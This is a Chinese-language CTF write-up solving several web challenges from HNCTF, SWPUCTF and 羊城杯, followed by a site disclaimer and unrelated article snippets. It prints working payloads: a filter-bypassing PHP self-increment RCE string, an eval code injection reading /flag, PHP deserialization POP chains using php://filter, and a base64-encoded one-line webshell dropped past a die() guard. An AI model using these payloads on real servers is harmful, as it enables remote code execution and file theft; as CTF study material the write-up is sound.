NSSCTF第13页(2)

 [HNCTF 2022 Week1]Challenge__rce

提示?hint

访问看到了源码

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}

可以用的是$()+,.0123456789;=[]_{},一眼自增RCE,要求长度小于等于120。这里难办的是过滤了/,之前遇到的payload,但凡短一点的都有斜杠。

$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
//长度118    $_GET[1]($_GET[2])

payload:

GET:/?hint=1&1=system&2=tac /ffflllaaaggg

POST:rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B

[西湖论剑 2022]Node Magical Login 

有登录框,先尝试爆破一下

正常是给了源码

但是这道题没给,以后有机会再来复现

[SWPUCTF 2023 秋季新生赛]If_else 

check.php

gpt的解释

  1. $a=false; 和 $b=false;:定义了两个变量 $a 和 $b,并将它们的初始值都设置为 false

  2. if(11==11):条件语句,判断 11 是否等于 11。这个条件是始终为真的,因为 11 确实等于 11。

  3. { $a=true; }:当条件为真时,将 $a 的值设为 true

  4. else { $b=true; }:当条件为假时,将 $b 的值设为 true

  5. if($a===true&&$b===true):条件语句,判断 $a 和 $b 的值是否都为 true,并且类型也必须相等。

  6. eval(system(cat /flag));:如果条件为真,则执行 eval() 函数并传入 system(cat /flag) 作为参数。system() 函数用于执行系统命令,而 cat /flag 是一个系统命令,用于显示 /flag 文件的内容。因此,如果条件为真,就会执行 /flag 文件的内容。

总体来说,这段代码的逻辑是判断 11 是否等于 11,根据判断结果将 $a 或 $b 的值设为 true,然后再次判断 $a 和 $b 的值,如果都为 true,则执行 eval(system(cat /flag)); 命令,显示 /flag 文件的内容。请注意,这段代码存在安全风险,因为它直接执行系统命令,可能导致命令注入漏洞。

payload:

get:check.php

post: check=1==1) eval(system('cat /flag'));/*

 

[HNCTF 2022 WEEK4]pop子和pipi美 

搞得和社工一样

b站第二季第一集的url

传参得到源码?pop_EP=ep683045

class Popuko {
    private $No_893;
    public function POP_TEAM_EPIC(){
        $WEBSITE  = "MANGA LIFE WIN";
    }
    public function __invoke(){
        $this->append($this->No_893);
    }
    public function append($anti_takeshobo){
        include($anti_takeshobo);
    }
}

class Pipimi{
    
    public $pipi;
    public function PIPIPMI(){
        $h = "超喜欢POP子ww,你也一样对吧(举刀)";
    }
    public function __construct(){
        echo "Pipi美永远不会生气ww";
        $this->pipi = array();
    }

    public function __get($corepop){
        $function = $this->p;
        return $function();
    }
}
class Goodsisters{

    public function PopukoPipimi(){
        $is = "Good sisters";
    }

    public $kiminonawa,$str;

    public function __construct($file='index.php'){
        $this->kiminonawa = $file;
        echo 'Welcome to HNCTF2022 ,';
        echo 'This is '.$this->kiminonawa."<br>";
    }
    public function __toString(){
        return $this->str->kiminonawa;
    }

    public function __wakeup(){
        if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
            echo "仲良ピース!";
            $this->kiminonawa = "index.php";
        }
    }
}

if(isset($_GET['pop'])) @unserialize($_GET['pop']);  

else{
    $a=new Goodsisters;
    if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){
        highlight_file(__FILE__);
        echo '欸嘿,你也喜欢pop子~对吧ww';
    }
}
 

 pop链

Goodsister::__wakeup()->Goodsister::__toString()->Pipimi::__get()->Popuko::__invoke()->Popuko::append()

序列化构造

<?php
class Popuko{
    private $No_893='php://filter/read=convert.base64-encode/resource=f14g.php';
}

class Pipimi{
    public $pipi;
}

class Goodsisters{
    public $kiminonawa;
    public $str;
}
$a=new Goodsisters;
$a->kiminonawa=new Goodsisters;
$a->kiminonawa->str=new Pipimi;
$a->kiminonawa->str->p=new Popuko;

echo urlencode(serialize($a));

 

 

[羊城杯 2020]easyser 

先扫一下

扫到的东西

 

robots.txt

star1.php 

 

 源码提示

结合题目,应该是利用ssrf漏洞里边的一个协议

SSRF进内网读取ser.php,成功读取 

看到了东西

 找不到反序列化的入口

我们可以用一个工具

Arjun:一款http参数扫描器,主要就是爆破url参数的

我的不知道为什么没扫出来

 

正常显示

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);

$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}

?>
your hat is too black! 

5.然后就是怎么触发__tostring方法了,不得不说,这题是蛮坑爹的,看了wp才知道,那个页面的源码中反序列化点会直接输出对象,直接能触发该方法。那么触发方式也有了,最后就是如何绕过死亡die()了。

6.参考网上的绕过死亡die的方法,直接用php过滤器base64-decode对文件内容进行base64解码,它的字符范围包括a-z A-Z 0-9 = /,计算<?php die("nononon");?>包含在内的字符,以4bytes一位编码来计算需要补多少位。点到phpdienononon一共是13位,需要补3位才能到16位成为4的整数倍。于是payload的base64编码后的一句话木马内容前面加三个a即可。最后,poc:

<?php
class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yongen;
    }
}
class Yongen{
    public $file;
    public $text;
        public function __construct(){
        $this->file = "php://filter/convert.base64-decode/resource=shell.php";
        $this->text="aaaPD9waHAgQGV2YWwoJF9QT1NUWzBdKTs/Pg==";
    }
}

echo urlencode(serialize(new GWHT));
?>

 

PD9waHAgQGV2YWwoJF9QT1NUWzBdKTs/Pg== 

 

得到回显,连接蚁剑或者命令执行都可以

 0=system('ls /');

 0=system('cat /flllllag');   得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/193925.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

比Postman强在哪里

Postman的受众对象主要是广大开发人员&#xff0c;调测使用&#xff0c;它并不能完全满足专业测试人员需求&#xff0c;而自动化测试平台可以 1&#xff0c;Postman&#xff0c;Jmter是单机版软件&#xff0c;类似打游戏你和电脑PK&#xff0c;而很多时候是要联网和其他人团队作…

Go 语言中切片的使用和理解

切片与数组类似&#xff0c;但更强大和灵活。与数组一样&#xff0c;切片也用于在单个变量中存储相同类型的多个值。然而&#xff0c;与数组不同的是&#xff0c;切片的长度可以根据需要增长和缩小。在 Go 中&#xff0c;有几种创建切片的方法&#xff1a; 使用[]datatype{val…

Python 如何实现备忘录设计模式?什么是备忘录设计模式?Python 备忘录设计模式示例代码

什么是备忘录&#xff08;Memento&#xff09;设计模式&#xff1f; 备忘录&#xff08;Memento&#xff09;设计模式是一种行为型设计模式&#xff0c;用于捕获一个对象的内部状态&#xff0c;并在对象之外保存这个状态&#xff0c;以便在需要时恢复对象到先前的状态。这种模…

R语言的入门学习

目录 准备工作导入csv数据集选择前200行作为数据集展示数据集的前/后几N行宏观分析删除缺失值构建直方图导出为图片 R语言常见图像类型例1&#xff1a;散点图例2&#xff1a;散点矩阵图 准备工作 安装教程&#xff1a; R语言和RStudio的下载安装&#xff08;非常简便舒适&…

mysql优化之explain 以及 索引优化

Mysql安装文档参考&#xff1a;https://blog.csdn.net/yougoule/article/details/56680952 Explain工具介绍 使用EXPLAIN关键字可以模拟优化器执行SQL语句&#xff0c;分析你的查询语句或是结构的性能瓶颈 在 select 语句之前增加 explain 关键字&#xff0c;MySQL 会在查询上设…

MattML

方法 作者未提供代码

day07_数组初识

数组的概述 数组就是用于存储数据的长度固定的容器&#xff0c;保证多个数据的数据类型要一致。 数组适合做一批同种类型数据的存储 数组是属于引用数据类型&#xff0c; 数组变量名中存储的数组在内存中的地址信息。 数组中的元素可以是基本数据类型&#xff0c;也可以是引用…

Linux | 信号

目录 前言 一、信号基础概念 1、生活中的信号 2、Linux中的信号 二、信号的产生 1、接口介绍 2、信号产生的方式 &#xff08;1&#xff09;终端按键的方式产生信号 &#xff08;2&#xff09;系统调用接口 a、kill b、raise c、abort &#xff08;3&#xff09…

思维模型 鲶鱼效应

本系列文章 主要是 分享 思维模型 &#xff0c;涉及各个领域&#xff0c;重在提升认知。激发竞争&#xff0c;促进创新。 1 鲶鱼效应的应用 1.1 鲶鱼效应在组织管理中的应用 美国通用汽车公司是世界上最大的汽车制造企业之一&#xff0c;它曾经面临着生产效率低下、员工缺乏积…

IntelliJ IDEA 2023 v2023.2.5

IntelliJ IDEA 2023是一款功能强大的集成开发环境&#xff08;IDE&#xff09;&#xff0c;为开发人员提供了许多特色功能&#xff0c;以下是其特色介绍&#xff1a; 新增语言支持&#xff1a;IntelliJ IDEA 2023新增对多种编程语言的支持&#xff0c;包括Kotlin、TypeScript、…

如何将 Docsify 项目部署到 CentOS 系统的 Nginx 中

文章目录 第一步&#xff1a;准备 CentOS 服务器第二步&#xff1a;安装 Node.js 和 Docsify第三步&#xff1a;初始化 Docsify 项目第四步&#xff1a;本地预览 Docsify 项目第五步&#xff1a;配置 Nginx 服务器第六步&#xff1a;重启 Nginx 服务器拓展&#xff1a;使用 HTT…

维修一款20年前的电容测试表VC6013

一、大概情况 在咸鱼市场淘了一台VC6013电感测试表&#xff0c;本来想捡漏的&#xff0c;结果发现是一个大坑&#xff0c;不但被人维修过&#xff0c;还发现被拆了一些ic&#xff0c;网络上也找不到合适的图纸&#xff0c;只找到一份比较接近的图纸&#xff0c;但是比较下来还是…